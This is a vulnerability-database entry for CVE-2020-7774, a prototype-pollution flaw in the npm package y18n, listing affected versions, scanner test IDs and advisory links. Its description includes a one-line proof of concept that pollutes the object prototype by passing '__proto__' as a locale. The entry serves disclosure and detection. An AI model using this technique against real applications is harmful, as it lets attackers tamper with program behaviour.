CVE ID:	CVE-2020-7774
Description:	This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
Test IDs:	1.3.6.1.4.1.25623.1.1.4.2021.2354.1   1.3.6.1.4.1.25623.1.1.4.2021.2620.1   1.3.6.1.4.1.25623.1.1.4.2021.2618.1   1.3.6.1.4.1.25623.1.0.853988   1.3.6.1.4.1.25623.1.0.854054   1.3.6.1.4.1.25623.1.0.854042   1.3.6.1.4.1.25623.1.0.853994   1.3.6.1.4.1.25623.1.1.4.2021.2319.1
Cross References:	Common Vulnerability Exposure (CVE) ID: CVE-2020-7774 https://github.com/yargs/y18n/issues/96 https://github.com/yargs/y18n/issues/96 https://github.com/yargs/y18n/pull/108 https://github.com/yargs/y18n/pull/108 https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 https://snyk.io/vuln/SNYK-JS-Y18N-1021887 https://snyk.io/vuln/SNYK-JS-Y18N-1021887 https://www.oracle.com/security-alerts/cpuApr2021.html https://www.oracle.com/security-alerts/cpuApr2021.html